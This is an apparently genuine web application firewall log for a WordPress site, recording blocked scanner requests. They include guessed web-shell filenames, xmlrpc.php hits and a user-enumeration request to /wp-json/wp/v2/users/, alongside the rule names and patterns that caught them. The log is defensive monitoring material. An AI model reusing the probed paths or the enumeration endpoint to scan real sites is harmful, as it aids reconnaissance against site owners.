[Tue Dec 16 16:55:47.723486 2025] [:error] [pid 18408:tid 18424] [client 4.189.124.35:10107] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jjrpo.php"] [unique_id "aUEekzi2Gr8pDzjrVBDqxQAAAM4"]
[Tue Dec 16 16:55:49.698484 2025] [:error] [pid 18323:tid 18376] [client 4.189.124.35:57279] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jjrpo.php"] [unique_id "aUEelTJB6UFxIutsA8YKJwAAAFc"]
[Tue Dec 16 16:55:52.795378 2025] [:error] [pid 51991:tid 51996] [client 4.189.124.35:60230] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jjrpo.php"] [unique_id "aUEemK7zKCVJSuwV1xZvhAAAAQM"]
[Tue Dec 16 16:55:56.849786 2025] [:error] [pid 51991:tid 52014] [client 4.189.124.35:53350] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jjrpo.php"] [unique_id "aUEenK7zKCVJSuwV1xZvjQAAARU"]
[Tue Dec 16 16:55:59.485783 2025] [:error] [pid 18323:tid 18373] [client 4.189.124.35:10075] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aUEenzJB6UFxIutsA8YKKgAAAFQ"]
[Tue Dec 16 16:56:01.604339 2025] [:error] [pid 53940:tid 53958] [client 4.189.124.35:10109] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aUEeoV91PNbcXLVkpR7KggAAAc8"]
[Tue Dec 16 16:56:04.509640 2025] [:error] [pid 18322:tid 18344] [client 4.189.124.35:10091] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aUEepJsCeWBjrw28XtzkDgAAABI"]
[Tue Dec 16 16:56:06.287068 2025] [:error] [pid 18408:tid 18434] [client 4.189.124.35:59463] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aUEepji2Gr8pDzjrVBDq2wAAANg"]
[Tue Dec 16 16:56:07.940989 2025] [:error] [pid 51991:tid 52001] [client 4.189.124.35:53370] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-advaced.php"] [unique_id "aUEep67zKCVJSuwV1xZvmgAAAQg"]
[Tue Dec 16 16:56:10.388318 2025] [:error] [pid 12330:tid 12347] [client 4.189.124.35:60242] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-advaced.php"] [unique_id "aUEeql6iIQEVCIh8V1lU2QAAAY0"]
[Tue Dec 16 16:56:12.870463 2025] [:error] [pid 18323:tid 18360] [client 4.189.124.35:55969] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-advaced.php"] [unique_id "aUEerDJB6UFxIutsA8YKTAAAAEc"]
[Tue Dec 16 16:56:16.229112 2025] [:error] [pid 12330:tid 12353] [client 4.189.124.35:60266] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-advaced.php"] [unique_id "aUEesF6iIQEVCIh8V1lU3gAAAZM"]
[Tue Dec 16 16:56:16.897914 2025] [:error] [pid 18322:tid 18348] [client 4.189.124.35:55994] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd.php"] [unique_id "aUEesJsCeWBjrw28XtzkKAAAABY"]
[Tue Dec 16 16:56:18.572197 2025] [:error] [pid 53940:tid 53945] [client 4.189.124.35:59513] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd.php"] [unique_id "aUEesl91PNbcXLVkpR7KpAAAAcI"]
[Tue Dec 16 16:56:20.594843 2025] [:error] [pid 18323:tid 18374] [client 4.189.124.35:55983] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd.php"] [unique_id "aUEetDJB6UFxIutsA8YKYQAAAFU"]
[Tue Dec 16 16:56:22.471683 2025] [:error] [pid 51991:tid 52003] [client 4.189.124.35:55940] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd.php"] [unique_id "aUEetq7zKCVJSuwV1xZvvwAAAQo"]
[Tue Dec 16 16:56:25.642227 2025] [:error] [pid 51991:tid 51998] [client 4.189.124.35:57905] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xtt.php"] [unique_id "aUEeua7zKCVJSuwV1xZvxQAAAQU"]
[Tue Dec 16 16:56:31.751944 2025] [:error] [pid 18323:tid 18372] [client 4.189.124.35:55945] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xtt.php"] [unique_id "aUEevzJB6UFxIutsA8YKfQAAAFM"]
[Tue Dec 16 16:56:33.710850 2025] [:error] [pid 18324:tid 18392] [client 34.86.198.32:62913] [client 34.86.198.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.86.198.32, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUEewaG4um2mD1VpJHJzxAAAAIw"]
[Tue Dec 16 16:56:34.892320 2025] [:error] [pid 18408:tid 18425] [client 4.189.124.35:55998] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xtt.php"] [unique_id "aUEewji2Gr8pDzjrVBDrSgAAAM8"]
[Tue Dec 16 16:56:36.740205 2025] [:error] [pid 18324:tid 18395] [client 34.86.198.32:62913] [client 34.86.198.32] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aUEexKG4um2mD1VpJHJzyAAAAI8"]
[Tue Dec 16 16:56:36.939656 2025] [:error] [pid 53940:tid 53948] [client 4.189.124.35:60782] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xtt.php"] [unique_id "aUEexF91PNbcXLVkpR7KygAAAcU"]
[Tue Dec 16 16:56:39.548480 2025] [:error] [pid 18324:tid 18387] [client 34.86.198.32:62913] [client 34.86.198.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.86.198.32, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUEex6G4um2mD1VpJHJzywAAAIc"]
[Tue Dec 16 16:56:39.647844 2025] [:error] [pid 18408:tid 18433] [client 4.189.124.35:10087] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aUEexzi2Gr8pDzjrVBDrUQAAANc"]
[Tue Dec 16 16:56:55.255069 2025] [:error] [pid 51991:tid 52009] [client 34.53.118.20:58443] [client 34.53.118.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.53.118.20, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUEe167zKCVJSuwV1xZwAQAAARA"]
[Tue Dec 16 16:56:58.548388 2025] [:error] [pid 51991:tid 52000] [client 34.53.118.20:58443] [client 34.53.118.20] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aUEe2q7zKCVJSuwV1xZwCQAAAQc"]
[Tue Dec 16 16:57:00.643702 2025] [:error] [pid 51991:tid 52014] [client 34.53.118.20:58443] [client 34.53.118.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.53.118.20, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUEe3K7zKCVJSuwV1xZwFwAAARU"]
[Tue Dec 16 16:57:42.039186 2025] [:error] [pid 12330:tid 12353] [client 4.189.124.35:55978] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5b9ac.php"] [unique_id "aUEfBl6iIQEVCIh8V1lVcAAAAZM"]
[Tue Dec 16 16:57:48.012980 2025] [:error] [pid 18323:tid 18376] [client 4.189.124.35:10072] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5b9ac.php"] [unique_id "aUEfDDJB6UFxIutsA8YKywAAAFc"]
[Tue Dec 16 16:57:52.423139 2025] [:error] [pid 12330:tid 12354] [client 4.189.124.35:55985] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5b9ac.php"] [unique_id "aUEfEF6iIQEVCIh8V1lVdAAAAZQ"]
[Tue Dec 16 16:57:55.375728 2025] [:error] [pid 18322:tid 18340] [client 4.189.124.35:59459] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5b9ac.php"] [unique_id "aUEfE5sCeWBjrw28XtzkoQAAAA4"]
[Tue Dec 16 16:57:57.876209 2025] [:error] [pid 53940:tid 53944] [client 4.189.124.35:60233] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/co.php"] [unique_id "aUEfFV91PNbcXLVkpR7LOgAAAcE"]
[Tue Dec 16 16:58:05.055050 2025] [:error] [pid 12330:tid 12338] [client 4.189.124.35:60260] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/co.php"] [unique_id "aUEfHV6iIQEVCIh8V1lVfwAAAYQ"]
[Tue Dec 16 16:58:06.088312 2025] [:error] [pid 18322:tid 18340] [client 4.189.124.35:55937] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/co.php"] [unique_id "aUEfHpsCeWBjrw28XtzkrAAAAA4"]
[Tue Dec 16 16:58:08.589919 2025] [:error] [pid 35998:tid 36002] [client 4.189.124.35:60757] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/co.php"] [unique_id "aUEfIBKnhGuuhGxBSLORugAAAUE"]
[Tue Dec 16 16:58:17.054803 2025] [:error] [pid 18324:tid 18398] [client 4.189.124.35:55938] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/56c53.php"] [unique_id "aUEfKaG4um2mD1VpJHJ0ZAAAAJI"]
[Tue Dec 16 16:58:23.596904 2025] [:error] [pid 12330:tid 12352] [client 4.189.124.35:53329] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/56c53.php"] [unique_id "aUEfL16iIQEVCIh8V1lVkwAAAZI"]
[Tue Dec 16 16:58:32.550653 2025] [:error] [pid 35998:tid 36011] [client 4.189.124.35:55982] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ce.php"] [unique_id "aUEfOBKnhGuuhGxBSLORxQAAAUo"]
[Tue Dec 16 16:58:36.255018 2025] [:error] [pid 12330:tid 12349] [client 4.189.124.35:10078] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ce.php"] [unique_id "aUEfPF6iIQEVCIh8V1lV6gAAAY8"]
[Tue Dec 16 16:59:40.178091 2025] [:error] [pid 51991:tid 52017] [client 4.189.124.35:60247] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5e0a.php"] [unique_id "aUEffK7zKCVJSuwV1xZxVwAAARg"]
[Tue Dec 16 16:59:42.560353 2025] [:error] [pid 51991:tid 52009] [client 4.189.124.35:60284] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5e0a.php"] [unique_id "aUEffq7zKCVJSuwV1xZxYQAAARA"]
[Tue Dec 16 16:59:43.997290 2025] [:error] [pid 18322:tid 18327] [client 4.189.124.35:53337] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5e0a.php"] [unique_id "aUEff5sCeWBjrw28XtzlBgAAAAE"]
[Tue Dec 16 16:59:44.714127 2025] [:error] [pid 51991:tid 52007] [client 4.189.124.35:10104] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5e0a.php"] [unique_id "aUEfgK7zKCVJSuwV1xZxZAAAAQ4"]
[Tue Dec 16 16:59:47.760137 2025] [:error] [pid 35998:tid 36021] [client 4.189.124.35:53335] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qaez.php56"] [unique_id "aUEfgxKnhGuuhGxBSLOSEgAAAVQ"]
[Tue Dec 16 16:59:49.513223 2025] [:error] [pid 12330:tid 12340] [client 4.189.124.35:10060] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qaez.php56"] [unique_id "aUEfhV6iIQEVCIh8V1lWggAAAYY"]
[Tue Dec 16 16:59:53.374739 2025] [:error] [pid 51991:tid 51994] [client 4.189.124.35:60232] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qaez.php56"] [unique_id "aUEfia7zKCVJSuwV1xZxbAAAAQE"]
[Tue Dec 16 16:59:55.149508 2025] [:error] [pid 18324:tid 18391] [client 4.189.124.35:53354] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qaez.php56"] [unique_id "aUEfi6G4um2mD1VpJHJ1JgAAAIs"]
[Tue Dec 16 16:59:57.672181 2025] [:error] [pid 18323:tid 18373] [client 4.189.124.35:55995] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aUEfjTJB6UFxIutsA8YLLQAAAFQ"]
[Tue Dec 16 17:00:00.255803 2025] [:error] [pid 51991:tid 51999] [client 4.189.124.35:59457] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aUEfkK7zKCVJSuwV1xZxewAAAQY"]
[Tue Dec 16 17:00:01.251967 2025] [:error] [pid 12330:tid 12339] [client 4.189.124.35:59480] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aUEfkV6iIQEVCIh8V1lWhQAAAYU"]
[Tue Dec 16 17:00:02.796149 2025] [:error] [pid 18324:tid 18398] [client 4.189.124.35:55971] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aUEfkqG4um2mD1VpJHJ1KAAAAJI"]
[Tue Dec 16 17:00:05.146200 2025] [:error] [pid 18408:tid 18421] [client 4.189.124.35:60267] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aUEflTi2Gr8pDzjrVBDsvgAAAMs"]
[Tue Dec 16 17:00:06.507192 2025] [:error] [pid 18322:tid 18334] [client 4.189.124.35:10094] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aUEflpsCeWBjrw28XtzlHAAAAAg"]
[Tue Dec 16 17:00:07.802093 2025] [:error] [pid 51991:tid 52008] [client 4.189.124.35:60763] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aUEfl67zKCVJSuwV1xZxjQAAAQ8"]
[Tue Dec 16 17:00:09.333324 2025] [:error] [pid 18322:tid 18340] [client 4.189.124.35:59461] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aUEfmZsCeWBjrw28XtzlJAAAAA4"]
[Tue Dec 16 17:00:11.671445 2025] [:error] [pid 53940:tid 53963] [client 4.189.124.35:59471] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s121ws2s.php"] [unique_id "aUEfm191PNbcXLVkpR7LvgAAAdQ"]
